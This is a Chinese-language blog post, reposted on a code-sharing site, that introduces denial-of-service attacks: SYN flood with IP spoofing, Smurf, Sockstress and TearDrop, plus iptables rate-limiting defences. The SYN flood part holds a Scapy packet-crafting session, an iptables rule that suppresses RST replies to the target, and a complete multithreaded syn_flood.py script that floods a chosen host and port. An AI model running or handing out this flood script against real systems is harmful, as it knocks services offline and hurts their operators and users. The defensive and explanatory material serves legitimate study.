码迷,mamicode.com
首页 > 其他好文 > 详细

Dos攻击介绍

时间:2021-04-20 15:09:13      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:攻击   src   cond   date   begin   class   err   请求   目的   

Syn-Flood
伴随着IP地址欺骗,大概原理就是不断的不停的发送Syn包,导致目标服务器没有一个完整的tcp连接
Scapy

基础的Scapy定义数据包头
>>> i=IP()
>>> i.display()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options
>>> i.dst="10.0.1.87"
>>> i.display()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 10.0.1.92
  dst= 10.0.1.87
  \options
>>> t=TCP()
>>> t.display()
###[ TCP ]###
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= []

>>> t.dport=22
>>> t.display()
###[ TCP ]###
  sport= ftp_data
  dport= ssh
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= []
>>> sr1(i/t,verbose=1,timeout=2)
Begin emission:
Finished sending 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
<IP  version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x241a src=10.0.1.87 dst=10.0.1.92 |<TCP  sport=ssh dport=ftp_data seq=2412378543 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x85af urgptr=0 options=[(MSS, 1460)] |<Padding  load=\x00\x00 |>>>


让操作系统不发reset包

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.0.1.87 -j DROP

syn_flood.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "usage: ./syn_flood.py 10.0.1.1 80 50"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "Now Attacking with syn-flood please ctrl+c stop the attack"
def synflood(target,port):
    while 8 == 8:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 8 == 8:
    sleep(1)


TCP所有连接会话的状态
LISTEN   服务器端口处于侦听状态,等待连接请求
SYN-SENT 客户端发起连接请求,等待对端响应
SYN-RECV 服务端已经收到连接请求 (表示服务端接收到客户端的SYN包,并向服务端发送了SYN+ACK,但是没有收到客户端的ACK包,所以一直处于SYN-RECV的状态)
ESTABLISHED  客户端和服务端3次握手成功,TCP连接已经建立
FIN-WAIT-1  客户端或者服务端等待对端响应中断请求确认,或者对端中断请求
FIN-WAIT-2  客户端或者服务端等待对端发送中断请求
CLOSE-WAIT  客户端或者服务端等待本地进程、用户关闭连接
CLOSING     客户端或者服务端等待对端响应连接中断确认
LAST-ACK    客户端或者服务端等待对端响应之前的连接中断确认
TIME-WAIT   客户端或者服务端等待足够时间长度确保对端收到连接中断确认(最大4分钟)
CLOSE       客户端或者服务端没有任何连接状态

IP地址欺骗
经常用于DOS攻击
根据IP头地址寻址 -- 伪造IP源地址
边界路由过滤 -- 入站,出站
受害者可能是源,目的地址
绕过基于地址的验证
压力测试模拟多用户
上传协议(TCP协议号)

Smurf攻击
这是世界上最古老的DDoS攻击技术
向广播地址发送伪造地址的ICMP echo Request(ping)

Sockstress攻击
消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控

防御措施
至今sockstress攻击仍然是一种有效的DoS攻击方式
由于已经简历完整的TCP三次握手,因此使用syn cookie防御机制是无效的
根本的 防御方法可以是采用白名单机制,但是不现实

折中对策:限制单位时间内每IP建立的TCP连接数

封杀每30秒与80端口建立连接超过10个的IP地址

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set

iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -?seconds 30 --hitcount 10 -j DROP


https://github.com/defuse/sockstress
参考:https://www.jianshu.com/p/5acb680dc512


TearDrop攻击
主要针对早期微软操作系统
原理:是使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时被拒绝服务
攻击效果:蓝屏,重启,卡死

 

Dos攻击介绍

标签:攻击   src   cond   date   begin   class   err   请求   目的   

原文地址:https://www.cnblogs.com/autopwn/p/14673693.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!